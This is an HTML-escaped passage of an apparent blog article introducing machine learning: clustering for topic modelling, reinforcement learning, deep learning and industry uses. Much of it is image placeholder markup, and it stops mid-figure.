    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:100%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;400\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20400\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M16%2025l-1%209v20l1%209-1%209v20c2%202%201%2018%200%2018l-2%201%202%201c1%200%202%2016%200%2017v40l1%209-1%209v1c2%202%201%2018-1%2018v1c2%200%203%2017%201%2018v40l1%209-1%209v1c2%202%201%2018-1%2018v1c2%200%203%2017%201%2018v2c1%200%202%2017%200%2017v21c2%200%201%2017%200%2017v2l1%204v3h8l8%201h1c0-2%2020-2%2020%200h1c0-2%2020-2%2020%200h1c0-2%2020-1%2020%201h1c0-2%2019-3%2020-1h1c0-2%2020-2%2020%200h1c0-2%2020-2%2020%200h1c0-2%2020-2%2020%200h1c0-2%2020-1%2020%201h1c0-2%2020-3%2020-1h23c0-2%2020-1%2020%200h1l10-1%2010%201h1c0-2%2020-1%2020%201h1c0-2%2019-3%2020-1h1c0-2%2020-2%2020%200h1c0-1%2020-2%2020%200h1l7-1%206-1H17V202a17220%2017220%200%2000-1-177m198%2089v2l3%202%203%202v2h-2c-2-2-4%200-4%203s0%203%202%203h4l4-1c0%203%204%204%205%202%202-3%203-2%204%201%201%202%201%202%202%201%201-2%202-2%203%200l2%203%202-3%203-2%201-2c0-2-6-2-8%201h-1c-1-1%201-4%203-4%204-1%209-8%206-8l-2%201c0%204-14%206-18%202l-5-2-2-1c1-2-1-4-2-4l-3%202m-38%205l1%206v1c-1%201%200%201%201%201h5l3%201-3%201-2%201c0%202%201%202%204%200h3c2%201%205-3%204-4v-1h2l-1-1v-4c-1-3-3-3-4-1l-3%203c-2%200-2%200-1-1%201-2%200-4-4-4l-4-1c-1-3-2-1-1%203m20-1l1%205c1%203%201%204%205%204l5%201h2c2%201%204%200%203-2v-1l1-2c0-2-5-2-6%200-1%201-1%200-1-1-1-4-3-4-4-1%200%203-3%201-3-2%200-2-2-3-3-1m59%208l1%203c2%201%200%206-2%206v-5c-2%200-5%205-5%207h2l2%201c1%201%200%201-1%201-3%200-3%202-1%203%202%200%202%201%201%201-2%202-1%203%201%204l5%202c2%202%202%202%204%200%203-3%202-5-2-3-3%201-3%201%200-2s3-3%204-1c2%202%202%202%204%201%204-1%203-3-1-4-4%200-8-5-7-7v-3l2-2%202-2c0-2%201-2%202%201%202%203%202%203%200%204v5l-1%202h5c2%201%203-1%202-4-2-4%202-8%206-4%201%202%201%202-1%205l-4%204v4c4%200%2012-12%208-12-1%200-2-1-1-2l1-1c1%201%202-1%202-4h-9v-1l-2%201h-3l-2%201c-1-3-4-2-4%200h-1l-4-2c-3-1-3%200-3%203m-26%2018c-3%200-2%203%201%205l3%203h-4c-3%202-2%204%200%204%203-1%203%200-1%203-2%203-2%203%200%204s2%201%203-1l2-1-2%204-1%203%208-4-4-4-1-3c0-3%201-4%202-4l1-1h1c2%203%204%202%204%200l-2-2-2-3c-1-3-3-4-8-3m-70%203l-2%205c-3%204-2%207%201%203h1l-2%204c-3%202-3%205%200%203%202-2%203-2%204%200%202%201%202%201%200%201l-3%202c0%202-1%202-1%201l-2-1c-2%200-2%200-1%201s1%201-1%201-4%203-2%205c1%202%204%201%204-1h1c1%201%201%201%201-1%201-1%201-1%201%201l-1%203v1c2%201%205%200%204-1l2-1c2%201%202%201%202-1l-1-4-2-1c-2%200-2%200%200-1s4-4%202-4l-1-2-1-2v-3l-1-5v-3l-1-2-1%202m106%202l-2%203-4%202c-3%201-3%200-4-2s-1-3-2-2l-1%202c1%201%200%201-1%201-2-1-4%205-2%206l1%202%202%201%201-2c0-2%200-3%201-2l2-1c2-2%204%201%203%204%200%201%200%202%202%202l1-3c-1-2-1-3%202-3%202-1%203-1%202-2h1l1-1v-4c1-1%201-3-1-3l-2%202m-84%2015l1%203%201%203c0%202%200%203%202%203l7%201c-1%201%201%204%202%202s4-1%203%201c0%202%206%205%207%205%201-1-1-5-3-5s-2-1-1-2c0-3%200-3-2-3s-3%200-2-3c0-2%200-2-1-1l-1%201c-1-2-2-2-4-2h-5l-2-1c1-1-1-4-2-4v2m-50%200c-6%201-4%202%202%202s7%200%206%201l-1%204c-1%201-1%201-1-1%200-4-6-4-7%200%200%203%200%203%203%203%202%200%202%200%201%201-1%200-2%201-1%202h2l2-2%201-1%202-2%201-2v3l2%201%201-2v-3l1%202c0%204%204%204%204%200%201-3-1-4-1-1-1%202-1%202-1%200%200-3-3-6-4-4l1%201c1%201%201%201-1%201l-2-1c-1-2-6-3-10-2m58%2017c-1%201-2%203-1%204v3l5%205c2%200%201-3-1-3-1-1%200-1%201-1l3%201c0%203%203%205%205%204h3l2%201%203%202c0%202%202%203%203%201l-1-3-1-2%203%201%204-1-2-2-1-1c0-3-2-3-4-2l-4%202-9-3-2-1-1-2c1-4-2-6-5-3m119%204l-3%202c-5-1-7%200-8%202s-1%202-1%200-6-3-6-1h-1c-1-2-4%200-4%202%201%203%206%204%209%202h1l2%201c2%200%203%201%201%203v2c1%201%205%202%205%200l-2-1-1-4c1-4%203-6%203-3l1%203v1l2%203c1%202%202%202%202%201%201-2%201-3-2-6-2-2-2-2%200-3%201-2%202-2%202%201%200%202%201%202%207%203%206%200%207%200%207-2l1-2v2c0%202%201%202%203%202%203%200%203-1%203-4s-2-4-2-1c0%202%200%202-1%201%200-1-1-2-7-1-8%200-8%200-7%202l-1%201c-2%200-2-1-1-3v-1l-1-2-1-2v2m-69%207l-2%203-1%202c1%200%200%202-3%205s-2%205%203%205c3%201%206%203%203%203-2%200-3%206-1%208%201%202%201%202-1%202s-2%200-2%202c0%203%204%205%207%202h3c0%201%201%202%204%202%204%200%204-3%201-7-3-3-5-3-5%200%201%201%200%202-1%202l-1%201h-1l-1-4-1-4-1-1h1l1-1c-1-2%200-1%202%201h3c2-3%203-2%203%201l1%203%202-4c0-4-1-5-3-5l-4%201h-2l-1-1-2-2-4-1c-3%201-3-1%201-2s5-3%202-3v-1l1-3v-5l-1%201m-21%207c-1%201%201%208%203%208%201%200%201%201-1%202-3%202-3%205%200%205%202%201%203%202%202%203h-2l-3%201c-2%201%201%203%204%203l4%201c1%203%202%203%203%201l-2-5c-3-3-3-4-1-5v-2c-2-1-1-2%202-2l4-1c0-2-5-2-7-1h-1l2-2%202-2h-5l-2-2c-1-3-2-4-2-2m-115%204l-5%203c-8%202-7%202-6%203l5%201%204%201c1%201%202%202%203%201v1c-2%202-1%203%202%203%201%200%202%200%201%201l-2%201c0%201-1%202-3%202-5-1-5%203%200%204%203%200%204%201%205%204%201%204%200%205-3%204-2%200-2%200-2%202l1%202%201%201c0%202%204%205%206%205l2%201c2%203%204%203%204%200l2-2c2%201%205-1%204-2-1-2-1-8%201-7l1-2c0-4%201-2%201%202%200%205%206%209%206%204h2c1%201%201%201%201-1l1-1%202-1c0-3%201-4%202-2h3c1%200%202-5%200-5v-3l-1-1%202-1%202-2h-8c-2%201-2%201-2-1%201-3-3-2-5%201l-2%204c-2%200-2-5%200-6l-1-1h-2c-1-2-4%200-4%202l-1%202v3c1%203-2%205-4%203-1-2-3%200-4%202s-1%202-1-1l-1-3c-2%203-3-5-1-8%201-1%200-3-3-4l-2-2h3c1-1%200-1-1-1v-2c2-3-1-6-3-4m-39%2012l-3%203c-3%202-2%203%202%203h6l4%201h1l-6%206-1%202-1%201c-2-2-3%200-2%202%203%203%208%201%209-6l1-3%202%202c3%202%205%203%205%201s-4-6-6-6l-1-1-2-1c-2%200-4-2-2-2l1-2h-7m132%203c0%203%201%205%203%203h3l3%201c2-1%202%200%201%201l-1%205c0%203-1%204-2%205-2%200-5%203-6%207%200%205%201%207%203%204l5-3c3-2%204-2%203-3h-3c-2%202-3%202-4%200s0-3%205-2c2%200%202%200%202-2-1-3-1-3%201-4%202%200%203-2%200-3-2-1-2-3%200-3l2-1h1l2%201v1c-1%201-1%208%201%209l1-3%201-3%201-1c0-2-3-6-5-6l-1-1-2-1h-7c-1%201-2%201-2-1-1-3-4-3-5%200m-39%204c-1%201%200%201%201%202%203%201%204%203%202%202h-3c-1%201-2%200-4-1h-4c-2-1-2-1-3%202-2%204-1%205%207%205h7l8-1v-2l-2-1-2-2-1-3c1-2-5-3-6-1m74%205l-4%204-1%203c2%202%201%205%200%205-3%200-2%203%200%203h5c2-1%202-1%202%201l-1%204c-2%201%201%202%203%201h4c2%201%203%200%203-1l-2-1-2-2h2c2%200%201-3-1-4-1-1-1-1%201-2v-3l-1-4c1-3%201-3-2-4l-4-2c0-1-1-1-2%202m64%202l-2%201-1%202c1%202%200%203-1%203-2%201-3%205%200%206l2-1%203%201c1%202%202%202%202%201l5-1c4%200%204%200%203%203l1%202%201%201c0%202%203%205%204%205%202%200%201-4-1-7l-1-4c2%201%205-1%205-4%200-2%200-2-1%200%200%202-3%203-4%202%200-1%201-3%202-2l1-1-2-1c-3%201-5-1-3-3%203-1%202-3%200-3s-3%203-4%208h-1c-1-2-1-2-1%200s-2%203-2%200l-2-2c-2-1-3-5-1-5l1-1-1-2-2%202m-54%200l2%202v1l-2%201c0%201%202%202%203%201l2%201-2%201c-2%200-2%200-2%202l1%204%202%201%201-1h2l3%202c2%200%201-3-2-5-3-3-3-3-1-3s2%200%202-2v-2c2%200%203-2%202-3s-3%200-3%202h-1c-2-2-7-4-7-2m32%206l-1%202h-1l-1%201v-1c1-1%200-2-3-2-4%200-4%201-4%203l-2%203c-2%200-3%202-1%205%202%202%204%200%204-3s3-3%204-1l3%202c1-1%203%200%204%201%202%203%205%201%203-2-1-1-1-1%201-2%202%200%203-2%201-2l-1-1%201-1%201-1c0-2-3-1-4%201%200%202%200%202-1%200l-1-2v2c0%202%200%202-1%200l-1-2m-95%209c0%202-1%203-2%203-2%200-2%200-2%202v2l-1%201c0%201%201%202%202%201l2%201-2%201h-3c-2%201-2-4-1-5%203-1%201-3-2-2-3%200-4%200-5-2s-5-2-5%201v2c-2%201%200%205%203%205%204%201%205%200%203-2-2-1-2-1-1-2%202-1%204%201%203%205%200%203%200%204-3%204l-3-1-4-1c-3-1-4%201-2%203v5c0%202%201%203%202%203l1%202c0%201%202%202%203%200s3-1%202%201c-1%204%201%206%203%205l2-3%202-1%201-1c0-2-3-3-6-2v-7h3l3-2h2l3%201c1-2%206-2%206-1l2%201%201%201c-1%203%202%202%204-2l3-4%201-2-3-1c-2%201-2%201-2-2%201-4%200-4-4-3h-5v-1l2-1%202-1h4c0-1%200-2-5-2-4-1-4-1-4%201m28%203l-3%202c-4%200-6%203-2%203%203%200%201%202-3%203-4%200-4%201-4%203l1%203h2c0%202%201%202%204%200h4c2%203%204%202%204%200l1-4c0-2-3-3-4-1h-1a319%20319%200%2000-2-4v-1l3%201h2v-2l-1-2v-2l-1%201m62%200c-1%200-1%204%201%206l1%203c0%202%203%203%205%202h1c1%201%207%204%209%203%202%200%202-3%200-2l-5-3c-2-1-3-2-4-1s-5%200-4-1l-1-2c-1-1-1-1%201-1l3-1-1-2-2-1h-4m-55%202h3c1-1%201-1%202%201l2%202v1h-3l-2%202-2%202-1%202c-3%200-2%201%201%205l3%203%203-2%203-3v-3l1%201h2v-2l1%202c1%201%201%201%202-1v-3h-2c-1-1-1-1-1%201h-1l-3-2c-2%200-3-1-1-1l2-2c0-1%200-2-1-1h-1c1-2-2-4-5-4l-2%202m-64%207c-1%201-3%207-2%208l-2%205c-3%204-2%206%201%204%201-2%202-2%204%201%202%201%203%202%204%201l2-1c2%200%202%200%201-2l-2-1-4-1c-2%200-2%200%200-1s3-4%201-4h-4l2-2c1-2%202-3%201-4v-2l1-1c0-2-1-2-3%200\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/9eecd1dac8423c548f98ebe8850b17cf/c85cb/clustering-topic.webp 300w,/static/9eecd1dac8423c548f98ebe8850b17cf/e88ff/clustering-topic.webp 600w,/static/9eecd1dac8423c548f98ebe8850b17cf/426ac/clustering-topic.webp 700w&quot; sizes=&quot;(max-width: 700px) 100vw, 700px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/9eecd1dac8423c548f98ebe8850b17cf/5a46d/clustering-topic.png 300w,/static/9eecd1dac8423c548f98ebe8850b17cf/0a47e/clustering-topic.png 600w,/static/9eecd1dac8423c548f98ebe8850b17cf/8c557/clustering-topic.png 700w&quot; sizes=&quot;(max-width: 700px) 100vw, 700px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 4 - Clustering for Topic Modeling&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/9eecd1dac8423c548f98ebe8850b17cf/8c557/clustering-topic.png&quot; title=&quot;Figure 4 - Clustering for Topic Modeling&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 4 - Clustering for Topic Modeling&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;A clustering problem might be to group documents from a corpus into sets of documents they deal with
the same topic. &lt;br/&gt;
The documents could be represented in space in the form of word vectors, and then grouped together in
based on some form of similarity, which is able to relate documents containing words and expressions to each other
common.&lt;/p&gt;&lt;h2 id=&quot;reinforcement-learning&quot;&gt;Reinforcement Learning&lt;/h2&gt;&lt;p&gt;The third type of machine learning is Reinforcement Learning. The goal of this type of learning
is to build a system (agent) that through interactions with the environment improves its performance. &lt;br/&gt;
In order to improve the functionality of the system, reinforcements, or reward signals, are introduced. &lt;br/&gt;
This reinforcement is not given by the labels or the correct truth values, but is a measurement of the quality of the actions taken by the system.
For this reason it cannot be assimilated to supervised learning.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;&lt;span class=&quot;gatsby-resp-image-wrapper AnimatedFigure-module--wrapper--3ppY-&quot;&gt;&lt;img class=&quot;gatsby-resp-image-image AnimatedFigure-module--image--CrbDx&quot; alt=&quot;Figure 5 - Example of Reinforcement Learning&quot; title=&quot;Figure 5 - Example of Reinforcement Learning&quot; src=&quot;/linked/32aa9f20212b6c5039a8f7605bf7ec2c/reinforcement.gif&quot;/&gt;&lt;/span&gt;&lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 5 - Example of Reinforcement Learning&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;Reinforcement learning is widely used for robot navigation training. In the figure is shown the example of the
return negative or positive rewards when the robot sucks them.&lt;/p&gt;&lt;h1 id=&quot;deep-learning&quot;&gt;Deep Learning&lt;/h1&gt;&lt;p&gt;&lt;strong&gt;Deep Learning&lt;/strong&gt; is a large family of methods for machine learning based on &lt;strong&gt;artificial neural networks&lt;/strong&gt;.
Artificial neural networks are computational models based on a simplification of biological neural networks.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:481px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/121271467a65b54a940c4014c0df7f3c/d024a/nn.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:77%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;309\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20309\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M98%2027l-1%2010-1%203-1%201c-1-1-1-1%200%200l-1%204v3c1%201%201%200%202-4l2-4v9l-1%209c-1%200-2%201-1%202l-1%204v1c1%201%202%200%202-1%201-1%201%202%201%206%200%207%200%208-2%209s-2%201-1%203c1%201%200%203-1%205l-1%204%202-3c3-6%203-5%203%204l-1%208h-4c-2%201-2%201%200%201%203%200%203%203%201%207-2%201-3%203-2%203l3-3%203-3v36l-1%2038c-3%202-3%205%200%205%201-1%201%200%201%207s-1%209-2%209c-3%200-3%201%200%202%202%201%202%202%202%2010%200%207-1%2010-2%2010h-1v3l2%201%201%209-1%208-1%202%201%202%201%207%201%208h22v-7l1-8%202-6c0-2%200-2%201-1l1-1c-1-1%203-14%204-15v-3l1-1%201-2%201-2c-3%201-1-3%204-8v-2h-1c-1%201-2%202-3%201l-1%201%201%201v1l-1%201-2%203-1%203v2l-2%204-3%2012-3%209v-9c0-8%200-9%202-10%202%200%202-1%201-1v-1l1-3c0-5%206-16%208-16l3-3h-2c-2%201-2%201-1-2%200-3%201-4%202-4l1-1%202-1h1l-1-2v-2c0-2%200-2-1%200l-2%201c0-1-3-2-3%200l1%201c2-1%202%202%200%203l-3%203v2c2-2%201%201-1%203l-2%202v3a205%20205%200%2000-6%2015v-7c0-8%200-8%202-8s2%200%201-1v-1h-1c-2%200-2%200-1-2%202-2%203-5%204-9v-3l-1%203-2%204-1%202-1-8c0-8%200-9%202-9l1-1%201-1v-1c-2%200-2%200%200-3v-3c0-1-2%200-2%202-2%202-2-1-2-34s0-37%202-36l1%203h1c1-1%201-2-1-4-2-3-3-4-1-3l2-1c0-2-1-2-2-1-2%200-2-1-2-8v-8l4%209h1c2-1%202-2-1-7s-3-6-1-7c1-1%201-1-1-1s-2%200-2-8c0-7%200-7%202-4l2%206%201%202v2c0%202%202%206%204%207h4l-3-2c-3-1-4-2-2-3v-3l-1-1v-1l-1-1-1-1-1-5c-3-6-2-6%204%201%205%206%206%209%203%209l-1%201h7l-2-4c-3-3-4-5-2-5l-1-2-2-3-1-4-2-5c-1-3-1-4-2-3v4l1%201v1c-2%202-2%202%200%202%202%201%204%204%202%204-1%200-6-4-5-5l-1-1c-2%200-2-2-2-9v-9l2%205%203%206-1-4v-8l-3-3-1-8v-7H98v7m9%202c-8%204-2%2016%206%2012%205-2%205-10-1-13-3-1-2-1-5%201m-1%2023c-5%204-3%2012%204%2012%206%200%209-7%205-12-3-3-6-3-9%200m65%202l-1%207c0%205%200%206-2%205-2%200-3%203-1%206%201%202-4%2015-6%2017v3h1c1%201%200%201-3%201l-2%202a1450%201450%200%20015%207l1-2%202-8c1%200%203%205%202%206l-1%202-2%203c-2%202-2%202-1%204%202%202%200%201-3-1l-3-2%201%203c3%202%202%204-1%203-2-1-2%200%200%201%201%202%200%205-1%204l-1%201c1%201%200%203-1%204-2%202-2%202-2%200v-2l-1%202c0%203-1%202-4-5-1-4-3-6-3-5l1%205%202%205%201%202%201%204v2c-2%200-3-3-2-4l-1-1-2-5-2-6-1%202%201%204%203%207%202%207c0%204-2%202-3-3l-3-7c-2-3-1%202%200%205%201%201%202%203%201%204l1%203c3%202%202%205%200%204-2%200-2%204%201%207v4l-1%201-1%203c0%204%202%204%203%200%200-3%202-4%202-1l-2%207-2%207-4%2011v1l3%202h1c-1-2%201-4%203-4h2c1-1%200-2-2-2l-3%201-1%201%203-13%201-2%201%202c0%203%202%203%202%200%200-1%200-2%201-1l1%202%201%202v-2l1-1c2%201%202%200%202-2v-1c1%202%202%200%201-3v-2l1%201h2l1%201-1-3-1-5v-2l-1-2h1l2%201-1-8v-9c-2%202-4%201-4-2v-6l3-5c2-5%203-5%204-1v2l2-3c2-5%203-5%203-1v6l-1%202-2%204v4c0%201%202-1%203-5l3-6v23l-1%2024-4-9-4-9%202%206%201%207%201%203c4%205%202%208-3%207l-1%201h-2l-1-1%202%204h1c0-1%200-2%201-1v4l-1%201-1%202-1%201c-1-1-1%200-1%201l-1%201c-1-1-1%200-1%201l1%202%201%202v2l4%207c6%2013%206%2014%205%2016-2%203-2%203%200%204h2l1%206v6h23v-7l1-8%201-2%201-5%202-4-3%204-2%205v-11c0-8%200-10%202-10l1-1h-1l1-3%202-6-2%203-3%205v-19h11l-5-1h-5l2-3%201-3-2%202c-2%202-2%202-2-23s0-25%202-23c2%203%203%201%200-2v-3l-1-1-1-9v-8l2%204%203%204-1-5-2-5v-1c-2%200-2-1-2-10V73l2%205%203%203-1-4-1-3%201-1v-1h-1l-1-1v-1c-2-1-2-3-2-9v-7l-11-1-11%201m7%209c-6%203-4%2013%203%2013%206%200%209-7%205-12-3-2-4-2-8-1m-73%2011c-3%203-3%207%201%2010%203%203%206%203%209%200%206-7-3-16-10-10m136%208l-1%206c-2-2-3%201-2%203s0%203-1%206-2%204-1%205l3-4%202-4v8c0%208%200%209-2%209l-2%204v8c4-6%204-6%204%2019%200%2019%200%2024-1%2023-3-5-4-6-4-3l1%203c2%201%201%204-1%204v1c1%200%202%200%201%201l2%202c2%200%202%201%202%207v8l-2-4-2-2v3c1%202%202%203%201%204-1%202%201%205%202%204l1%206v7h23v-8l1-8%201-1-1-1v-21c-1%201-1-9-1-37a438%20438%200%20010-47v-7h-23v6m-64%204c-4%203-3%2011%202%2012%206%202%2011-5%208-11-2-2-7-3-10-1m70%201c-2%204-1%208%202%2010%206%205%2014-3%209-9-3-4-8-4-11-1M27%20142v54h23v-6c0-6%200-6%202-4%203%203%203%201%201-2s-2-3%200-6l4-5v-1l1-2c1%200%201-1-1-2l-1-2h3l3%201-3-3-2-3-2%202c-1%203-1%203-2%201-2-2-2-2-1-4l1-3h1l1-1v-4c2-2%202-3%200-3l-1%202v1l-2%202c-1%203-2%202-2-13l1-19%201-1%202-1%202%201%202-1v-4l1-3-1%201-1%201%201-2v-2l-1%201v-1c0-2%200-2-1-1-1%202-2%201-2-2l-2-5c-1-2-1-2%201-5%201-2%202-3%200-3l-1%201-1%201-1-5v-5H27v55m1%200v53h21V88H28v54m5-46c-4%204-4%208%200%2011%208%208%2019-3%2011-11-4-4-7-4-11%200m72%200c-4%204-1%2011%205%2011%203%200%207-3%207-6%200-6-8-9-12-5m-71%201c-3%202-2%207%200%209%204%204%2011%201%2011-5%200-5-8-8-11-4m279%208l-1%207c-2-1-2%204-1%205%202%202%202%206%202%2028s0%2025-1%2024l-2-1v5l1%203c2-1%202%200%202%204v4h24v-84l-12-1h-12v6m10%201c-8%202-6%2013%202%2013%205%200%208-7%205-11-1-1-5-3-7-2m-146%203c-5%204-2%2012%205%2012%205%200%208-8%204-12-3-2-6-3-9%200m71%200c-4%204-1%2012%205%2012l5-2c6-7-3-16-10-10m-215%207c-4%204-4%208%200%2011%208%208%2019-3%2011-11-4-4-7-4-11%200m1%201c-3%202-2%207%200%209%204%204%2011%201%2011-5%200-5-8-8-11-4m-2%2040c-5%205-1%2013%207%2013%207%200%2011-9%205-14-3-3-8-3-12%201m2%200c-3%203-3%208%200%2010%205%204%2011%201%2011-5s-7-9-11-5m144%205c-6%203-4%2013%203%2013s9-8%204-12c-3-2-3-2-7-1m70%201c-3%203-3%207%201%2010%203%203%206%202%209-1%206-7-4-15-10-9m72%202c-3%202-2%207%200%209%204%204%2011%201%2011-5%200-5-8-8-11-4M33%20177c-4%204-4%208%200%2011%207%208%2019-3%2012-10-4-5-8-5-12-1m72-1c-3%203-3%207%201%2010%203%203%206%203%209%200%206-7-3-16-10-10m-71%202c-4%204-2%2010%203%2012%205%201%2010-8%206-12-2-3-7-3-9%200m142%208c-2%203-2%208%200%2010%204%204%2012%200%2012-5%200-6-8-9-12-5m72%200c-4%204-1%2011%205%2011%203%200%207-4%207-6%200-6-9-9-12-5m63%207l-2%201-2%202c0%203-2%203-2-1-1-2-1-2-1%201s1%204%204%203l2-2c0-2%200-2%201%200l2%202%201%202%201%201%201-2%201-1h4c2%201%205%200%205-2s0-2%201%200l2%202v-4l-1-2c-2%200-4%201-4%203l-1%202-1-3c0-2%200-2-1-1h-2c-1-2-4%200-5%202s-1%202-1%200c0-3-1-4-2-3m-206%205c-3%203-3%207%201%2010%203%203%206%203%209%200s3-6%200-9c-3-4-7-4-10-1m73%209c-6%203-4%2013%203%2013s9-8%204-12c-3-2-3-2-7-1m-73%2013c-4%204-1%2011%205%2011%202%200%204%200%205-2%205-6-4-15-10-9m0%2022c-2%202-3%206%200%209%202%203%208%203%2010%200%205-7-4-15-10-9\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/121271467a65b54a940c4014c0df7f3c/c85cb/nn.webp 300w,/static/121271467a65b54a940c4014c0df7f3c/1c567/nn.webp 481w&quot; sizes=&quot;(max-width: 481px) 100vw, 481px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/121271467a65b54a940c4014c0df7f3c/5a46d/nn.png 300w,/static/121271467a65b54a940c4014c0df7f3c/d024a/nn.png 481w&quot; sizes=&quot;(max-width: 481px) 100vw, 481px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 6 - Example of neural network&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/121271467a65b54a940c4014c0df7f3c/d024a/nn.png&quot; title=&quot;Figure 6 - Example of neural network&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 6 - Example of neural network&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;As can be seen in Figure 6, they can be made up of many nodes, or neurons, and multiple layers of neurons. Theoretically
more the number of neurons and layers increases, more the network is able to represent more complex non-linear functions. &lt;br/&gt;
We are talking about computational models theorized as early as the 1970s, but for which at that time it was not possessed
still enough computing power to use and apply them. &lt;br/&gt;
Today that computing and storage capacities have increased dramatically, they are back in fashion, and are used in many contexts of artificial intelligence. &lt;br/&gt;
If used in the form of nets with many layers, we speak precisely of deep learning, because we use very deep networks. &lt;br/&gt;
The ability to be able to formulate very complex non-linear functions across these networks has meant that they now come
widely used in a series of very advanced tasks related above all to &amp;quot;natural perception&amp;quot;, such
as &lt;a href=&quot;https://en.wikipedia.org/wiki/Computer_vision&quot;&gt;computer vision&lt;/a&gt; and &lt;a href=&quot;https://en.wikipedia.org/wiki/Natural_language_processing&quot;&gt;natural language processing&lt;/a&gt;.&lt;/p&gt;&lt;h1 id=&quot;machine-learning-applications-in-industry&quot;&gt;Machine learning applications in industry&lt;/h1&gt;&lt;p&gt;Machine learning and the set of techniques mentioned, can be very useful in industry
in order to optimize and improve the production and sales process.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/c0c1a4229b81f2b729a3681474ff3fc0/f0811/industry-applications.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:50%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;200\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20200\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M238%2048a418%20418%200%20002%2044l1-2c12-5%2013-5%2014-9l6-13v3c-3%205-2%205%203%200%204-4%208-6%205-2v1c2%200%203-3%203-9v-6h3c15-1%2021%202%2021%2011l1%204a450%20450%200%200039-16c-1-2%200-3%202%200l2%201-1-2c-2-3%200-4%202-1%204%203%205%203%202%200s-2-4%202-1c3%202%204%202%204%200h1c1%201%202%200%205-1l4-1%202%207c3%208%203%209-1%2010-4%200-4%202-1%204l3%202-3%202c-4%203-8%205-9%203v-2c0-1-1-2-3-2a407%20407%200%2000-66%2021l78-1h6V4H238v44m104-29v8h15v-7c0-8-2-10-10-10h-5v9m-40%2054c-2%201-2%202-2%205v3l-1-3-1-3c-2%200-5%201-5%203h-1c-3-2-6%200-5%204l2%204%201-1c-1-1%200-2%201-2l2-2c0-2%200-2%202%201%201%202%201%202%201%200s1-3%203%200h2l1-1%205-1-2-1h-2v-1l2-1-1-1c-3%201-3%200-1-2l1-1h-2M64%20150v42h118v-84H64v42m203%203v45h127v-90H267v45m-155-11l-1%206v6h12v-5c0-5%200-5%202-5s2%200%202%205c0%204%200%205%202%205l1-5c0-4%200-5%202-5l1-2-7-1-7%201v5c0%205%200%205-2%204-3%200-3-1-3-5s-1-6-2-4m-36%202c-3%204-2%207%204%2010l5%203c2%200%201-2-1-2-2-1-2-1%200-4s2-3%201-6c-2-4-7-4-9-1m240%2021l-2%202-3%201h-2c-2